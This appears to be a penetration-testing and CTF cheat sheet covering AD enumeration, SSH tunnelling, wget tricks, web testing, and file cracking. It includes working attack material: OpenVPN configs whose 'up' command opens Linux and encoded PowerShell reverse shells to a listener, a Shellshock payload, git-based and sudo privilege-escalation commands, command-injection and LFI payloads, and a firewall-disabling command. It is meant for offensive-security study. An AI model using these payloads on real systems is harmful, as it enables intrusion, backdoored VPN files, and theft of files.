Algorithm      Hash
-----
SHA256        8A7D37867537DB78A74A473792928F14EDCB3948B9EB11A48D6DE38B3DD30E
```

## Active Directory Enumeration and Remote Code Execution

Probably, refer [Infrastructure PenTest Series : Part 3 - Exploitation](#)

It contains

- Active Directory Reconnaissance : Information about active directory enumeration with Domain User rights by various methods such as rpclient, enum4linux, nltest, netdom, powerview, bloodhound, adexplorer, Jexplorer, Remote Server Administration Tools, Microsoft Active Directory Topology Diagrammer, reconnaissance using powershell, powershell adsisearcher etc.
- Remote Code Execution Methods : Information about multiple ways to get a execute remote commands on the remote machine such winexe, crackmapexec, impacket psexec, smbexec,

wmiexec, Metasploit psexec, Sysinternals psexec, task scheduler, scheduled tasks, service controller (sc), remote registry, WinRM, WMI, DCOM, Mimikatz Pass the hash/ Pass the ticket, remote desktop etc.

## Others

- Invoking Net Use using Credentials to mount remote system

The below example executes command on file.bitvijays.local computer with Domain Administrator credentials and utilizes net use to mount Domain Controller C Drive and read a particular file

```
Invoke-Command -ComputerName file.bitvijays.local -Credential $crede
```

## Wget

### FTP via Wget

If ftp anonymous login is provided or you have login details, you can download the contents by wget, (For anonymous login user password are not required)

```
wget -rq ftp://IP --ftp-user=username --ftp-password=password
```

### wgetrc Commands

```
output_document = file -- Set the output filename—the same as '-O file'.
post_data = string -- Use POST as the method for all HTTP requests and send string
post_file = file   -- Use POST as the method for all HTTP requests and send the file
-P prefix
--directory-prefix=prefix
  Set directory prefix to prefix.  The directory prefix is the directory where
```

## Tricks

- The interesting part with -P Parameter is you can save the file in /tmp if your current directory is /. Let me explain, Let's say, your current directory is /home/user/ if we do

```
 wget IPAddress -P tmp
```

it would create a tmp folder in the /home/user/ and save the file in that. However, if your current directory is /, it would save the file in /tmp folder, from where you can execute stuff.

- wget accepts IP address in decimal format
- wget shortens the filename if it's too long. For example, if you provide a filename to the wget which is very long (i.e around 255 character), wget might shorten it. This might be helpful in cases where only a jpg file is allowed to be uploaded, however as wget shortens it, we may tryaaaaaaaaaaaa (\*255/ somenumber).php.jpg and wget shortens it to aaaaaaa(\*255).php

## SSH

### ssh\_config

If you know the password of the user, however, ssh is not allowing you to login, check ssh\_config.

```
## Tighten security after security incident
## root never gets to log in remotely PermitRootLogin no
## Eugene & Margo can SSH in, no-one else allowed
AllowUsers example_user1 example_user2
## SSH keys only but example_user1 can use a password
Match user example_user1
PasswordAuthentication yes
## End tighten security
```

### SSH Tunneling

SSH protocol, which supports bi-directional communication channels can create encrypted tunnels.

## Local Port Forwarding

SSH local port forwarding allows us to tunnel a local port to a remote server, using SSH as the transport protocol.

```
ssh sshserver -L <local port to listen>:<remote host>:<remote port>
```

Example:

Imagine we're on a private network which doesn't allow connections to a specific server. Let's say you're at work and youtube is being blocked. To get around this we can create a tunnel through a server which isn't on our network and thus can access Youtube.

```
$ ssh -L 9000:imgur.com:80 user@example.com
```

The key here is -L which says we're doing local port forwarding. Then it says we're forwarding our local port 9000 to [youtube.com](http://youtube.com):80, which is the default port for HTTP. Now open your browser and go to <http://localhost:9000>

## Syntax

```
-L [bind_address:]port:host:hostport
-L [bind_address:]port:remote_socket
-L local_socket:host:hostport
-L local_socket:remote_socket
    Specifies that connections to the given TCP port or Unix socket on the
    the local side, optionally bound to the specified bind_address, or to
    hostport, or the Unix socket remote_socket, from the remote machine.

    Port forwardings can also be specified in the configuration file. On

    By default, the local port is bound in accordance with the GatewayPort
    bound for local use only, while an empty address or '*' indicates that
```

To share a interesting case, Let's say there's a host which is running port 22 on all interfaces and port 8080 and 8081 (or any other port) on local loopback interface (127.0.0.1), something like

```
tcp4      0      0 *.ssh          *.*      LISTEN
tcp6      0      0 *.ssh          *.*      LISTEN
tcp4      0      0 localhost.8080  *.*      LISTEN
tcp4      0      0 localhost.8081  *.*      LISTEN
```

Now, webserver on port 8080 and 8081 are running on localhost, if we have ssh access to the machine, we can tunnel them via local port forwarding and run it on the ethernet interface.

```
ssh -L IP_Address_of_Machine:<Port-which-we-want-to-open-Let's say-9000>:127.0.0.1:8080 user@IP_Address_of_Machine
```

It would become

```
ssh -L 10.10.10.10:9000:127.0.0.1:8080 user@10.10.10.10 and
ssh -L 10.10.10.10:9001:127.0.0.1:8081 user@10.10.10.10
```

The above would open port 9000 and 9001 (on the external interface) and map it to port 8080 and 8081(which were running on local/ loopback interface).

### Remote Port Forwarding

SSH remote port forwarding allows us to tunnel a remote port to a local server.

```
ssh sshserver -R <remote port to bind>:<local host>:<local port>
```

Example:

Let's say there's a wordpress web-application we have compromised and have a www-data shell. Also, let's say, we are inside a docker environment with the network below

```
172.16.0.1 Host-Machine
172.16.0.2 WordPress
172.16.0.3 Joomla
172.16.0.4 Mysql
```

Now, Let's say, we have root credentials of mysql and want to access it usingdbeaver application. Now, as we have access of wordpress machine, we can basically ssh to our machine (Let's say our IP is 10.10.15.111), creating a Remote Port Forward

```
ssh bitvijays@10.10.15.111 -R 3306:172.16.0.4:3306
```

The above would create a ssh tunnel between 10.10.15.111:3306 and 172.16.0.4:3306. Then, we would be able to just launchdbeaver and connect to localhost mysql and browse the database at 172.16.0.4:3306.

As we would be probably inside the docker and www-data user, we might not have ssh binary and proper environment variable in that case, we can add below options

```
./ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o GlobalKno
```

### SSH as SOCKS Proxy

We can use ssh to have a socks proxy to connect to vnc, ssh, rdp if vm is hosting in another vm and then use remmina to access VNC.

```
ssh -D localhost:9050 user@host  
-D [bind_address:]port Specifies a local "dynamic" application-level port forw
```

and

```
proxychains4 remmina/ rdesktop
```

### VPN-like tunnelling?

[sshuttle](#) Transparent proxy server that works as a poor man's VPN. Forwards over ssh. Doesn't require admin. Works with Linux and MacOS. Supports DNS tunneling.

So if we have access to device at 10.1.1.1, and it also has an interface on 192.168.122.0/24 with other hosts behind it, we can run:

```
# sshuttle -r root@10.1.1.1 192.168.122.0/24
root@10.1.1.1's password:
client: Connected.
```

This creates a VPN-like connection, allowing me to visit 192.168.122.4 in a browser or with curl, and see the result.

Probably, nmap won't be a good idea to run over sshuttle, however, it is a very nice way to interact with a host over a tunnel.

## SCP

To copy all from Local Location to Remote Location (Upload)

```
scp -r /path/from/destination username@hostname:/path/to/destination
```

To copy all from Remote Location to Local Location (Download)

```
scp -r username@hostname:/path/from/destination /path/to/destination
```

Help:

- -r Recursively copy all directories and files
- Always use full location from /, Get full location by pwd
- scp will replace all existing files
- hostname will be hostname or IP address
- If custom port is needed (besides port 22) use -P portnumber
- . (dot) - it means current working directory, So download/copy from server and paste here only.

## Plink

Plink is a windows command-line connection tool similar to UNIX ssh.

```
plink
Plink: command-line connection utility
Release 0.68
Usage: plink [options] [user@]host [command]
      ("host" can also be a PuTTY saved session name)
Options:
  -V      print version information and exit
  -v      show verbose messages
  -load sessname Load settings from saved session
  -ssh -telnet -rlogin -raw -serial
        force use of a particular protocol
  -P port  connect to specified port
  -l user   connect with specified username
The following options only apply to SSH connections:
  -pw passw login with specified password
  -D [listen-IP:]listen-port
        Dynamic SOCKS-based port forwarding
  -L [listen-IP:]listen-port:host:port
        Forward local port to remote address
  -R [listen-IP:]listen-port:host:port
        Forward remote port to local address
  -X -x    enable / disable X11 forwarding
  -A -a    enable / disable agent forwarding
  -t -T    enable / disable pty allocation
  -C      enable compression
  -i key   private key file for user authentication
  -m file  read remote command(s) from file
  -N      don't start a shell/command (SSH-2 only)
  -nc host:port
        open tunnel in place of session (SSH-2 only)
```

It can also be used to perform SSH tunnelling, have a look at -L, -R and -D options. On Kali Linux box it is present at /usr/share/windows-binaries/plink.exe

## OpenVPN Configuration File Reverse Shell?

Taken from [Reverse Shell from an OpenVPN Configuration File](#)

An ovpn file is a configuration file provided to the OpenVPN client or server. The file details everything about the VPN connection: which remote servers to connect to, the crypto to use,

which protocols, the user to login as, etc.

At its most simple form, an ovpn file looks like this:

```
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun
```

This directs the client to connect to the server at 192.168.1.245 without authentication or encryption and establish the tun interface for communication between the client (10.200.0.2) and the server (10.200.0.1).

The OpenVPN configuration feature is important is the up command. This is how the manual describes it:

```
Run command cmd after successful TUN/TAP device open (pre-user UID change).
cmd consists of a path to script (or executable program), optionally followed
```

Basically, the up command will execute any binary of script you point it to

## Linux

If the victim is using a version of Bash that supports /dev/tcp then getting a reverse shell is trivial. The following ovpn file will background a reverse shell to 192.168.1.218:8181.

```
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1 &'"
```

When this ovpn file is used it won't be obvious to the user that something is wrong. The VPN connection is established normally and traffic flows. There are only two indications in the log that perhaps something is afoot.

```
Thu Jun 7 12:28:23 2018 NOTE: the current-script-security setting may allow ti
Thu Jun 7 12:28:23 2018 ***** WARNING *****: All encryption and authentica
```

Even if the user does see these log entries a reverse shell has already been established with our listener on 192.168.1.218:

```
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.247] port 8181 [tcp/*] accepted (family 2, sport 5454)
root@client:/home/client/openvpn# id
id
uid=0(root) gid=0(root) groups=0(root)
```

## Windows

Windows doesn't have an analogous /dev/tcp feature. We'll have to work a little harder to generate a reverse shell from a Windows host.

Fortunately, Dave Kennedy of TrustedSec wrote a small [powershell reverse shell](#) that we can use. Using powershell.exe's -EncodedCommand parameter we can pass the entire script on the command line. First, however, we'll need to base64 encode the script to avoid having to insert escapes. Our old friend Carlos Perez has a script called [ps\\_encoder.py](#) that will do the encoding for us.

However, there is a problem. The encoded reverse shell script is over 4000 characters long and OpenVPN has a 256 character limitation. To get around this we can use the setenv command to split up the script and then recombine it in the up command. Consider the following ovpn file:

```
ifconfig 10.200.0.2 10.200.0.1
dev tun
remote 192.168.1.245
script-security 2
setenv z1 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe
setenv a1 'ZgB1AG4AYwB0AGkAbwBuACAAYwBsAGUAYQBuAHUAcAAgAHsADQAKAGKAZgAgACgAJAE
setenv b1 'AbwBkAGUAIAAtAG4AZQAgACQAbgB1AGwAbAApACAewAKAHAAcgBvAGMAZQBzAHMALc
setenv c1 'kAZQBuAHQAIAA9ACAATgB1AHcALQBPAGIAagBLAGMAdAAgAHMAeQBzAHQAZQBtAC4At
```

```
setenv d1 'CAAJABjAGwAaQBLAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQANAAoAJABuAGU/
setenv e1 'AAoAJABwAHIAbwBjAGUAcwBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAH/
setenv f1 'kAG8AdwBzAFwAXAbzAHkAcwB0AGUAbQzADIAxABcAGMAbQBKA4AZQB4AGUAJwANA/
setenv g1 'AuAFIAZQBkAGkAcgBLAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQIAA9/
setenv h1 'gbwAHUAdABzAHQAcgBLAGEAbQAgAD0AIAAkAHAAcgBvAGMAZQBzAHMALgBTBHQAYQBu/
setenv i1 'MQANAAoAJABL4AYwBvAGQAaQBuAGcAIAA9ACAAbgBLAHcALQBvAGIAagBLAGMAdA/
setenv j1 'AdQB0CAAKwA9ACAAJABL4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZv/
setenv k1 'AALAAKAG8AdQB0AC4ATABLAG4AZwB0AGkAQANAAoAJABvAHUAdAAgAD0AIAAKAG4Ac/
setenv l1 'GkAZQBuAHQALgBDAG8AbgBuAGUAYwB0AGUAZAaAgC0AbgBLACAAJAB0AHIAdQB1ACK/
setenv m1 'AGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByAC4ATABLAG4AZwB0AGgAKQApACAewANAAc/
setenv n1 'gACQAcABvAHMAKQANAAoAJABwAG8AcwArAD0AJAByAGUAYQBkADsAIABpAGYAIAAoAC/
setenv o1 'BpAGYAIAAoACQAcABvAHMAIAAtAGcAdaAgADAkQAgAHsADQAKACQAcwB0AHIAaQBu/
setenv p1 'ABLAvgAJABzAHQAcgBpAG4AZwApAA0ACgBzAHQAYQBvAHQALQBzAGwAZQB1AHAAIAA/
setenv q1 'YwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcB1AHQAcwE/
setenv r1 'AZABpAG4AZwAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAHUAdABwAHUAdABzAHQAc/
setenv s1 'UAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsADAAL
up 'C:\\Windows\\\\System32\\\\cmd.exe /c (start %z1% -WindowStyle Hidden -Encoded
```

We can see the encoded script has been split over a setenv commands. At the very end, the script just runs all the environment variables together.

Result

```
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.226] port 8181 [tcp/*] accepted (family 2, sport 51)
Microsoft Windows [Version 10.0.17134.48]
© 2018 Microsoft Corporation. All rights reserved.
C:\Users\albinolobster\OpenVPN\config\albino_lobster>whoami
desktop-r5u6pvd\albinolobster
C:\Users\albinolobster\OpenVPN\config\albino_lobster>
```

Using untrusted ovpn files is dangerous. You are allowing a stranger to execute arbitrary commands on your computer. Some OpenVPN compatible clients like Viscosity and Ubuntu's Network Manager GUI disable this behavior.

## HTTP

## First things

- View Source of the web-page (Ctrl+U).
- Inspect element of the web-page (F12).
- See if there is any hint in the title of the web page. (example: /Magic).
- Check the scroll button! Sometimes, there are too many lines and something hidden in the end of the webpage!
- Check for any long file names such admin\_5f4dcc3b5aa765d61d8327deb882cf99.txt; Such long names can be base64-encoded, hex, md5 etc.
- If any login page is implemented asking for username and password. Check how it is implemented? Is it using any open-source authentication modules? If so, look if there are any default passwords for that.
- If there's a page where redirect is happening (for example, <http://example.com> or <http://example.com/support.php> redirects us to <http://example.com/login.php>) However, the response size for [example.com](http://example.com) or support.php is a bit off, especially considering the page gives a 302 redirect. We may use No-redirect extension from firefox and view the page. We may also utilize curl/ burp to view the response.
- [List of HTTP Headers](#) : Quite important when you want to set headers/ cookies etc.
- Watch for places where the site redirects you (it adds something to the URL and displays the homepage). If you see that happen, try adjusting the URL manually. for example: when browsing

<http://IPAddress/SitePages/>

it redirects to

[http://IPAddress/\\_layouts/15/start.aspx#/SitePages/Forms/AllPages.as](http://IPAddress/_layouts/15/start.aspx#/SitePages/Forms/AllPages.as)

we may find something by adjusting the URL manually to

<http://IPAddress/SitePages/Forms/AllPages.aspx>

Refer [SEC Consult – Cyber Security Challenge Austria /CTF Tips & Tricks](#)

- Read the source code / comments
- Check for common hidden files / folders (.git, .ssh, robots.txt, backup, .DS\_Store, .svn, changelog.txt, server-status, admin, administrator, ...)
- Check for common extensions (Example: If you see a index.php file, check index.php.tmp, index.php.bak, and so on)
- Play with the URL / parameters / cookies (Example: If you have a page with index.php?role=user try to change it to index.php?role=admin).
- Get familiar with the website, it's functionalities and features before starting an in-depth analysis.
- Try to map the full attack-surface of the website! Some vulnerabilities are hidden deep in hard-to-reach functionalities.
- Test for the most common vulnerabilities like SQLi (SQL Injection), XXE (XML Entity Injection), Path Traversal, File Uploads, Command Injection, Cookie Tampering, XSS (Cross-Site-Scripting), XPATH Injection, Unserialization bugs, Outdated software, CSRF (Cross-Site-Request-Forgery), SSRF (Server-Side-Request-Forgery), SSTI (Server-Side Template Injection), LFI/RFI (Local-File-Inclusion / Remote-File-Inclusion), Flaws in Session Management or Authorization Flaws, the randomness of the cookies, and so on.
- If you come across a technology which you don't know, try to google security writeups for these technologies.
- Try special characters

(', ", {, ;, |, &&, \, /, !(), %...)

in all input fields (GET- and POST parameters and Cookies) and check for uncommon responses or error messages.

- To detect blind vulnerabilities (SQL injection, command injection, XSS, ...) you can use time delays or requests to one of your web servers (check the access logs).
- If you can provide a path or a filename to the website, you should test for path traversal vulnerabilities. If the application replaces the

```
  "../"
```

with an empty string, you can try to bypass it by injecting the sequence two times, like:

```
  ".../ ../".
```

If the “..” in the center gets replaced, the application will again work with “..”. You can also try different encodings or other removed characters. Moreover, you can try to create or upload (e.g. via archives) a symbolic link.

- If you found a LFI (local-file-inclusion) vulnerability in a PHP website and you want to read the PHP scripts, you can use php-filter (you can't normally read .php files because the inclusion would try to execute the code instead of displaying it; with php-filter you can first base64-encode the content to display it):

```
  index.php?filename=php://filter/convert.base64-encode/resource=index
```

## htaccess - UserAgent

When you see something like this “Someone's sup3r s3cr3t dr0pb0x - only me and Steve Jobs can see this content”. Which says, only this can see me. Try to see what user-agent it is talking about. The way it is implemented is by use of .htaccess file

```
cat .htaccess
BrowserMatchNoCase "iPhone" allowed

Order Deny,Allow
Deny from ALL
```

```
Allow from env=allowed  
ErrorDocument 403 "<H1>Super secret location - only me and Steve Jobs can see
```

## CGI-BIN Shellshock

To understand shellshock few blogs can be referred such as [ShellShocked – A quick demo of how easy it is to exploit](#) , [Inside Shellshock: How hackers are using it to exploit systems](#)

```
curl -H "User-Agent: () { :; }; echo 'Content-type: text/html'; echo; /bin/cat
```

It is important to understand what is cgi-bin which can be read from [Creating CGI Programs with Bash: Getting Started](#) . Also the most important lines in this file are:

```
echo "Content-type: text/html"  
echo ""
```

These two lines tell your browser that the rest of the content coming from the program is HTML, and should be treated as such. Leaving these lines out will often cause your browser to download the output of the program to disk as a text file instead of displaying it, since it doesn't understand that it is HTML!

## Shellshock Local Privilege Escalation

Binaries with a setuid bit and calling (directly or indirectly) bash through execve, popen or system are tools which may be used to activate the Shell Shock bug.

```
sudo PS1="() { :; } ; /bin/sh" /home/username/suidbinary
```

Shellshock also affects DHCP as mentioned [Shellshock DHCP RCE Proof of Concept](#) There's a metasploit module named "Dhclient Bash Environment Variable Injection (Shellshock)" for this.

## XSS/ HTML Injection

The below will redirect the page to [google.com](http://www.google.com)

```
<META http-equiv="refresh" content="0;URL=http://www.google.com">
```

## curl

```
-k, --insecure  
(SSL) This option explicitly allows curl to perform "insecure" SSL connections.  
This makes all connections considered "insecure" fail unless -k, --insecure is used.  
-I, --head  
(HTTP/FTP/FILE) Fetch the HTTP-header only! HTTP-servers feature the command-line  
option --head which does exactly the same.
```

## HTTP Referer

The Referer request header contains the address of the previous web page from which a link to the currently requested page was followed. The Referer header allows servers to identify where people are visiting them from and may use that data for analytics, logging, or optimized caching.

```
Referer: <url>  
<url> An absolute or partial address of the previous web page from which a link to the current page was followed.
```

## Data-URI

[Basics of HTTP Data URI](#)

## Login-Pages

To test login pages, we may use burpsuite intruder and check for different length of response.

## Delete Tags

Delete all lines between tags including tags:

```
sed '/<tag>/,/<\tag>/d' input.txt
```

#### Tip

Useful when you are accessing the webpage using curl and their LFI and you want to remove the html/body tags.

## HTTP 404 Custom Page

Sometimes, it's a good idea to look at 404 custom page also. There might be some information stored.

## Password Protected File

### ZIP File

run fcrackzip

```
fcrackzip -D -u -p /tmp/rockyou2.txt flag.zip  
-D, --dictionary: Select dictionary mode. In this mode, fcrackzip will read  
-p, --init-password string : Set initial (starting) password for brute-force  
-u, --use-unzip: Try to decompress the first file by calling unzip with the gu
```

### rar2john

We can get the password hash of a password protected rar file by using rar2john

```
[root:~/Downloads]# rar2john crocs.rar  
file name: artwork.jpg  
crocs.rar:$RAR3$*1*35c0eaaed4c9efb9*463323be*140272*187245*0*crocs.rar*76*35:]
```

## keepass2john

```
keepass2john user.kdbx
user:$keepass$*2*6000*222*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137
john --wordlist wordlist --format=keepass hashfile
```

There are other \*2john thingy

```
dmg2john
gpg2john
hccap2john
keepass2john
keychain2john
keyring2john
keystore2john
kwallet2john
luks2john
pfx2john
putty2john
pwsafe2john
racf2john
rar2john
ssh2john
truecrypt_volume2john
uaf2john
wpapcap2john
zip2john
```

## Encrypted Files

Many times during the challenges, we do find encrypted files encrypted by Symmetric key encryption or RSA Public-Private Key encryption

### Symmetric Key

If we have the encrypted file and the key to it. However, we don't know the encryption scheme such as aes-128-cbc, des-cbc.

We can use the code written by superkojiman in [De-ICE Hacking Challenge Part-1](#), it would tell you what encryption scheme is used and then we can run the command to retrieve the plaintext.

```
ciphers=`openssl list-cipher-commands`  
for i in $ciphers; do  
  openssl enc -d -${i} -in <encrypted-file> -k <password/ keyfile> > /dev/null  
  if [[ $? -eq 0 ]]; then  
    echo "Cipher is $i: openssl enc -d -${i} -in <encrypted-file> -k <password/>  
    exit  
  fi  
done
```

### RSA Public-Private Key encryption

If we have found a weak RSA public, we can use [RsaCtfTool](#) uncipher data from weak public key and try to recover private key and then use

```
openssl rsa -decrypt -inkey privatekey.pem -in <encryptedfile> -out key.bir
```

The ciphertext should be in binary format for RsaCtfTool to work. If you have your ciphertext in hex, for example

```
5e14f2c53cbc04b82a35414dc670a8a474ee0021349f280bfef215e23d40601a
```

Convert it in to binary using

```
xxd -r -p ciphertext > ciphertext3
```

### RSA given q, p and e?

Taken from [RSA Given q,p and e](#)

```
def egcd(a, b):  
    x,y, u,v = 0,1, 1,0  
    while a != 0:
```

```

q, r = b//a, b%a
m, n = x-u*q, y-v*q
b,a, x,y, u,v = a,r, u,v, m,n
gcd = b
return gcd, x, y

def main():

    p = 1090660992520643446103273789680343
    q = 1162435056374824133712043309728653
    e = 65537
    ct = 299604539773691895576847697095098784338054746292313044353582078965

    # compute n
    n = p * q

    # Compute phi(n)
    phi = (p - 1) * (q - 1)

    # Compute modular inverse of e
    gcd, a, b = egcd(e, phi)
    d = a

    print( "n: " + str(d) );

    # Decrypt ciphertext
    pt = pow(ct, d, n)
    print( "pt: " + str(pt) )

if __name__ == "__main__":
    main()

```

### SECCURE Elliptic Curve Crypto Utility for Reliable Encryption

If you see, something like this

it's probably [SECCURE Elliptic Curve Crypto Utility for Reliable Encryption](#) Utilize python module [seccure](#) to get the plaintext.

## GPG

Where are the GPG Keys stored?

By default in `~/.gnupg/` and can be found using

```
gpg -K
```

## Network Information

Sometimes, ifconfig and netstat are not present on the system. If so, check if ip and ss are installed?

### ip

```
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group def
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
17: wwan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state
    link/ether b2:06:fe:2b:73:c6 brd ff:ff:ff:ff:ff:ff
    inet 14.97.194.148/30 brd 14.97.194.151 scope global dynamic noprefixroute
        valid_lft 5222sec preferred_lft 5222sec
```

### hostname

We can also check the ipaddress of the host using hostname command

```
hostname -I
172.17.0.1 14.97.194.148
```

### ss

ss - another utility to investigate sockets

```
ss
  -n, --numeric
    Do not try to resolve service names.
  -l, --listening
    Display only listening sockets (these are omitted by default).
  -t, --tcp
    Display TCP sockets.
  -u, --udp
    Display UDP sockets.
```

## User Home Directory

If we find that home directory contains

### Firefox/ Thunderbird/ Seabird

We can utilize [Firefox Decrypt](#) is a tool to extract passwords from Mozilla (Firefox/ Thunderbird/ Seabird) profiles. It can be used to recover passwords from a profile protected by a Master Password as long as the latter is known. If a profile is not protected by a Master Password, a password will still be requested but can be left blank.

### Sudoers file

If the sudoers file contains:

#### **secure\_path**

Path used for every command run from sudo. If you don't trust the people running sudo to have a sane PATH environment variable you may want to use this. Another use is if you want to have the "root path" be separate from the "user path". Users in the group specified by the exempt\_group option are not affected by secure\_path. This option is not set by default.

#### **env\_reset**

If set, sudo will run the command in a minimal environment containing the TERM, PATH, HOME, MAIL, SHELL, LOGNAME, USER, USERNAME and SUDO\_\* variables. Any variables in the caller's environment that match the env\_keep and env\_check lists are then added, followed by any variables present in the file specified by the env\_file option (if any). The contents of the env\_keep and env\_check lists, as modified by global Defaults parameters in sudoers, are displayed when sudo is run by root with the -V option. If the secure\_path option is set, its value will be used for the PATH environment variable. This flag is on by default.

### **mail\_badpass**

Send mail to the mailto user if the user running sudo does not enter the correct password. If the command the user is attempting to run is not permitted by sudoers and one of the mail\_all\_cmnds, mail\_always, mail\_no\_host, mail\_no\_perms or mail\_no\_user flags are set, this flag will have no effect. This flag is off by default.

### **run-parts**

run-parts runs all the executable files named, found in directory directory. This is mainly useful when we are waiting for the cron jobs to run. It can be used to execute scripts present in a folder.

```
run-parts /etc/cron.daily
```

### **Java keystore file**

Refer [Java Keytool essentials working with java keystores](#) and [openssl essentials working with ssl certificates private keys and csrs](#)

### **Cracking MD5 Hashes**

Try [Crackstation](#) or [ISC Reverse hash](#)

### **Steghide**

Looking for hidden text in the images? Utilize steghide

```
steghide version 0.5.1

the first argument must be one of the following:
embed, --embed      embed data
extract, --extract  extract data
info, --info         display information about a cover- or stego-file
info <filename>    display information about <filename>
encinfo, --encinfo   display a list of supported encryption algorithms
version, --version   display version information
license, --license   display steghide's license
help, --help         display this usage information
```

### Tip

Sometimes, there is no password, so just press enter.

## Git client Privilege Escalation

Git clients (before versions 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial clients (before version 3.2.3) contained three vulnerabilities that allowed malicious Git or Mercurial repositories to execute arbitrary code on vulnerable clients under certain circumstances. Refer [12 Days of HaXmas: Exploiting CVE-2014-9390 in Git and Mercurial](#)

In one of write-up, [Nicolas Surribas](#) has mentioned about two git environment variables GIT\_SSH and GIT\_TEMPLATE which can be utilized to do privilege escalation if git clone is performed using a suid binary. Imagine a suid binary utilized to do git clone from a remote directory.

### GIT\_SSH

If either (GIT\_SSH or GIT\_SSH\_COMMAND) of these environment variables is set then git fetch and git push will use the specified command instead of ssh when they need to connect to a remote system. The command will be given exactly two or four arguments: the [username@host](#) (or just host) from the URL and the shell command to execute on that remote system, optionally preceded by -p (literally) and the port from the URL when it specifies something other than the default SSH port. \$GIT\_SSH\_COMMAND takes precedence over \$GIT\_SSH, and is interpreted by the shell, which allows additional arguments to be included. \$GIT\_SSH on the other hand must be

just the path to a program (which can be a wrapper shell script, if additional arguments are needed).

```
echo '#!/bin/bash' > cmd
echo 'cp /root/flag.txt /tmp' >> cmd
echo 'chmod 777 /tmp/flag.txt' >> cmd
GIT_SSH=/home/username/cmd ./setuidbinary(utilizing git clone/ git fetch)

or

echo 'chown root:root /home/username/priv ; chmod 4755 /home/username/priv' >
where priv is binary compiled from uid.c
```

This basically changes the command from

```
trace: built-in: git 'clone' 'ssh://root@machine-dev:/root/secret-project' '/m
```

to

```
trace: run_command: '/home/user/ssh' 'root@machine-dev' 'git-upload-pack '\''
```

## GIT\_TEMPLATE\_DIR

Files and directories in the template directory whose name do not start with a dot will be copied to the \$GIT\_DIR after it is created. Refer [Git-init](#)

```
cp -r /usr/share/git-core/templates/ mytemplates
cd mytemplates/hooks
echo '#!/bin/bash' > post-checkout
echo 'cp /root/flag /tmp/flag2' >> post-checkout
echo 'chown username.username /tmp/flag2' >> post-checkout
chmod +x post-checkout
cd ../..
GIT_TEMPLATE_DIR=/home/username/mytemplates/ ./setuidbinary( utilizing git clo
```

## Metasploit shell upgrade

In metasploit framework, if we have a shell ( you should try this also, when you are trying to interact with a shell and it dies (happened in a VM), we can upgrade it to meterpreter by using sessions -u

```
sessions -h
Usage: sessions [options]

Active session manipulation and interaction.

OPTIONS:
-u <opt> Upgrade a shell to a meterpreter session on many platforms
```

## Truecrypt Files

If you have a truecrypt volume to open and crack it's password, we can use truecrack to crack the password and veracrypt to open the truecrypt volume.

```
truecrack --truecrypt <Truecrypt File> -k SHA512 -w <Wordlist_File>
```

and Veracrypt or cryptsetup to open the file.

```
cryptsetup open --type tcrypt <Truecrypt> <MountName>
```

## Grep in input box?

- If the html code contains the below where \$key is the input from the user, and we want to read a particular value

```
passthru("grep -i $key dictionary.txt");
Remember grep works in a way "grep bitvijays /etc/passwd" is find bitvija
```

- If the above contains

```
if(preg_match('/[;|&]/', $key)) {
    print "Input contains an illegal character!";
} else {
    passthru("grep -i $key dictionary.txt");
}
```

Here we can use ".\* /etc/passwd #"

This command searches for any character in the file and comments out the reference to dictionary.txt

## Others

- While downloading files from FTP, make sure that you have set the mode to binary, otherwise downloaded files could be corrupted.
- It is important to check .profile files also. As it might contain scripts which are executed when a user is logged in. Also, it might be important to see how a application is storing password.
- If there's a RCE in some web-application, probably, one of the way to check RCE is to ping your own machine.
- If OPCache engine seemed to be enabled ( check from phpinfo.php file ) which may allow for exploitation (see the following article)<https://blog.gosecure.ca/2016/04/27/binary-webshell-through-opcache-in-php-7/>
- Identification of OS:

```
cat /etc/os-release
NAME="Ubuntu" VERSION="16.04 LTS (Xenial Xerus)" ID=ubuntu
ID\_LIKE=debian PRETTY\_NAME="Ubuntu 16.04 LTS" VERSION\_ID="16.04"
HOME\_URL="http://www.ubuntu.com/"
SUPPORT\_URL="http://help.ubuntu.com/"
BUG\_REPORT\_URL="http://bugs.launchpad.net/ubuntu/"
UBUNTU\_CODENAME=xenial
```

- Many times if IPv6 is enabled, probably you can utilize IPv6 to connect and bypass firewall restrictions ( If firewall is not implemented at IPv6 level - many times it is not ).

- To find IPv6 from SNMP

```
snmpwalk -v2c -c public prism 1.3.6.1.2.1.4.34.1.3  
iso.3.6.1.2.1.4.34.1.3.2.48.1.0.0.0.0.0.0.0.0.0.0.0.1  
iso.3.6.1.2.1.4.34.1.3.2.48.2.0.0.0.0.0.0.0.0.0.0.0.1  
iso.3.6.1.2.1.4.34.1.3.2.48.2.18.52.86.120.171.205.0.0.0.0
```

Now, convert the decimal value after "iso.3.6.1.2.1.4.34.1.3.2" to hex which would be your IPv6 address "3002:1234:5678:ABCD::1"

### Todo

Mention examples for IPv6 connect

- Disable windows firewall

```
netsh firewall set opmode disable
```

- Port 139 Open

```
